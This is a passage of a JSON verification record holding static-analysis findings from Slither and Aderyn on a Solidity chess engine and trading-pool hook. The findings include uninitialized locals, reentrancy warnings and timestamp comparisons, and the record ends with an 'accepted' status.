Bitboard.pieceAttacks(Bitboard.Pos,uint64,uint64,bool).a (src/Bitboard.sol#236) is a local variable never initialized\n[medium/medium] uninitialized-local at src/Bitboard.sol:580: Bitboard.mateInOne(Bitboard.Pos,bool,uint256).scratch (src/Bitboard.sol#580) is a local variable never initialized\n[medium/medium] uninitialized-local at src/IMDuelHook.sol:780: IMDuelHook._repeated(PoolId,IMDuelHook.Game).seen (src/IMDuelHook.sol#780) is a local variable never initialized\n[medium/medium] uninitialized-local at src/IMDuelHook.sol:214: IMDuelHook.constructor(IPoolManager,IChessEngine,Currency,uint24,uint24,IHooks,uint256,uint256,uint256,uint256).p (src/IMDuelHook.sol#214) is a local variable never initialized\n[medium/medium] uninitialized-local at src/IMDuelHook.sol:713: IMDuelHook._apply(PoolId,IMDuelHook.Game,uint16,Rules.Played,IMDuelHook.Trade).result (src/IMDuelHook.sol#713) is a local variable never initialized\n[medium/medium] uninitialized-local at src/IMDuelHook.sol:717: IMDuelHook._apply(PoolId,IMDuelHook.Game,uint16,Rules.Played,IMDuelHook.Trade).reason (src/IMDuelHook.sol#717) is a local variable never initialized\n[medium/medium] uninitialized-local at src/ChessEngineV5.sol:168: ChessEngineV5._choose(ChessEngineV5.Ctx,uint256,uint256,uint64[8],uint32,uint16).seen (src/ChessEngineV5.sol#168) is a local variable never initialized\n[medium/medium] uninitialized-local at src/ChessEngineV5.sol:189: ChessEngineV5._choose(ChessEngineV5.Ctx,uint256,uint256,uint64[8],uint32,uint16).refined (src/ChessEngineV5.sol#189) is a local variable never initialized\n[medium/medium] uninitialized-local at src/ChessEngineV5.sol:391: ChessEngineV5._placement(ChessEngineV5.Ctx,uint8,uint8,uint8,uint8,bool,bool).near (src/ChessEngineV5.sol#391) is a local variable never initialized\n[medium/medium] uninitialized-local at src/ChessEngineV5.sol:505: ChessEngineV5._exact(ChessEngineV5.Ctx,uint16,int256).threat (src/ChessEngineV5.sol#505) is a local variable never initialized\n[medium/medium] uninitialized-local at src/ChessEngineV5.sol:261: ChessEngineV5._context(uint256,uint32,uint32,bool,bool).nonPawn (src/ChessEngineV5.sol#261) is a local variable never initialized\n[medium/medium] uninitialized-local at src/ChessEngineV5.sol:359: ChessEngineV5._cheap(ChessEngineV5.Ctx,uint16).squeeze (src/ChessEngineV5.sol#359) is a local variable never initialized\n[medium/medium] unused-return at src/IMDuelHook.sol:419: IMDuelHook.convert(Currency) (src/IMDuelHook.sol#419-421) ignores return value by manager.unlock(abi.encode(uint8(2),abi.encode(address(0),c,uint256(0)))) (src/IMDuelHook.sol#420)\n[medium/medium] unused-return at src/IMDuelHook.sol:274: IMDuelHook.beforeSwap(address,PoolKey,SwapParams,bytes) (src/IMDuelHook.sol#274-289) ignores return value by (sqrtPrice,None,None,None) = manager.getSlot0(id) (src/IMDuelHook.sol#281)\n[medium/medium] unused-return at src/IMDuelHook.sol:388: IMDuelHook.withdraw(address,Currency) (src/IMDuelHook.sol#388-394) ignores return value by manager.unlock(abi.encode(uint8(0),abi.encode(who,c,amount))) (src/IMDuelHook.sol#392)\n[medium/medium] unused-return at src/IMDuelHook.sol:489: IMDuelHook._swapClaims(PoolKey,Currency,uint256,bool) (src/IMDuelHook.sol#489-506) ignores return value by (sqrtPrice,None,None,None) = manager.getSlot0(key.toId()) (src/IMDuelHook.sol#494)\n[low/high] shadowing-local at src/ChessEngineV5.sol:727: ChessEngineV5._mop(ChessEngineV5.Ctx,uint8,uint8,uint8,bool,bool).at (src/ChessEngineV5.sol#615) shadows:\n[low/medium] reentrancy-benign at src/IMDuelHook.sol:459: Reentrancy in IMDuelHook._convert(Currency) (src/IMDuelHook.sol#459-482):\n[low/medium] reentrancy-benign at src/IMDuelHook.sol:398: Reentrancy in IMDuelHook.fundChest(PoolKey,bool,uint256) (src/IMDuelHook.sol#398-408):\n[low/medium] reentrancy-benign at src/IMDuelHook.sol:366: Reentrancy in IMDuelHook._pay(PoolId,IMDuelHook.Game,Currency,address,uint256) (src/IMDuelHook.sol#366-374):\n[low/medium] reentrancy-benign at src/IMDuelHook.sol:321: Reentrancy in IMDuelHook._takeFee(PoolId,PoolKey,uint256,uint256,uint256,IMDuelHook.Game) (src/IMDuelHook.sol#321-333):\n[low/medium] reentrancy-events at src/IMDuelHook.sol:388: Reentrancy in IMDuelHook.withdraw(address,Currency) (src/IMDuelHook.sol#388-394):\n[low/medium] reentrancy-events at src/IMDuelHook.sol:366: Reentrancy in IMDuelHook._pay(PoolId,IMDuelHook.Game,Currency,address,uint256) (src/IMDuelHook.sol#366-374):\n[low/medium] reentrancy-events at src/IMDuelHook.sol:459: Reentrancy in IMDuelHook._convert(Currency) (src/IMDuelHook.sol#459-482):\n[low/medium] reentrancy-events at src/IMDuelHook.sol:291: Reentrancy in IMDuelHook.afterSwap(address,PoolKey,SwapParams,BalanceDelta,bytes) (src/IMDuelHook.sol#291-316):\n[low/medium] reentrancy-events at src/IMDuelHook.sol:534: Reentrancy in IMDuelHook._play(PoolId,PoolKey,IMDuelHook.Game,bool,BalanceDelta,bytes,uint160,uint256) (src/IMDuelHook.sol#534-573):\n[low/medium] reentrancy-events at src/IMDuelHook.sol:398: Reentrancy in IMDuelHook.fundChest(PoolKey,bool,uint256) (src/IMDuelHook.sol#398-408):\n[low/medium] return-bomb at src/IMDuelHook.sol:677: IMDuelHook._engine(uint256,bytes) (src/IMDuelHook.sol#677-683) tries to limit the gas of an external call that controls implicit decoding\n[low/medium] timestamp at src/IMDuelHook.sol:534: IMDuelHook._play(PoolId,PoolKey,IMDuelHook.Game,bool,BalanceDelta,bytes,uint160,uint256) (src/IMDuelHook.sol#534-573) uses timestamp for comparisons\n[low/medium] timestamp at src/IMDuelHook.sol:398: IMDuelHook.fundChest(PoolKey,bool,uint256) (src/IMDuelHook.sol#398-408) uses timestamp for comparisons\n[low/medium] timestamp at src/IMDuelHook.sol:459: IMDuelHook._convert(Currency) (src/IMDuelHook.sol#459-482) uses timestamp for comparisons\n[low/medium] timestamp at src/IMDuelHook.sol:321: IMDuelHook._takeFee(PoolId,PoolKey,uint256,uint256,uint256,IMDuelHook.Game) (src/IMDuelHook.sol#321-333) uses timestamp for comparisons\n[low/medium] timestamp at src/IMDuelHook.sol:337: IMDuelHook._chestBps(IMDuelHook.Game) (src/IMDuelHook.sol#337-340) uses timestamp for comparisons\n[low/medium] timestamp at src/IMDuelHook.sol:351: IMDuelHook._addChest(PoolId,uint256,uint256) (src/IMDuelHook.sol#351-358) uses timestamp for comparisons","passed":true},{"durationMs":945,"exitCode":0,"name":"aderyn","output":"[high] contract-locks-ether at src/IMDuelHook.sol:42: Contract locks Ether without a withdraw function\n[high] unsafe-casting at src/Bitboard.sol:247: Unsafe Casting of integers\n[low] empty-require-revert at src/ChessEngineV5.sol:143: Empty `require()` / `revert()` Statement\n[low] internal-function-used-once at src/Bitboard.sol:199: Internal Function Used Only Once (9 places)\n[low] large-numeric-literal at src/ChessEngineV5.sol:26: Large Numeric Literal (26 places)\n[low] literal-instead-of-constant at src/Bitboard.sol:35: Literal Instead of Constant (368 places)\n[low] push-zero-opcode at src/Bitboard.sol:2: PUSH0 Opcode (7 places)\n[low] state-change-without-event at src/IMDuelHook.sol:274: State Change Without Event\n[low] unchecked-return at src/IMDuelHook.sol:392: Unchecked Return (2 places)\n[low] uninitialized-local-variable at src/ChessEngineV5.sol:150: Uninitialized Local Variable (8 places)\n[low] unsafe-erc20-operation at src/IMDuelHook.sol:414: Unsafe ERC20 Operation (2 places)\n[low] unspecific-solidity-pragma at src/ChessEngineV5.sol:2: Unspecific Solidity Pragma (3 places)\n[low] unused-state-variable at src/IMDuelHook.sol:72: Unused State Variable (2 places)","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"4ccb5b24b52130a4625fe2172ddcd3606ab87e8f6aea873174a99d8bc289e3aa","verifiedTreeHash":"69142116d65e8cf90e07268a160f2460460d6f69","verifierVersion":"0.1.0+260efc41"}]}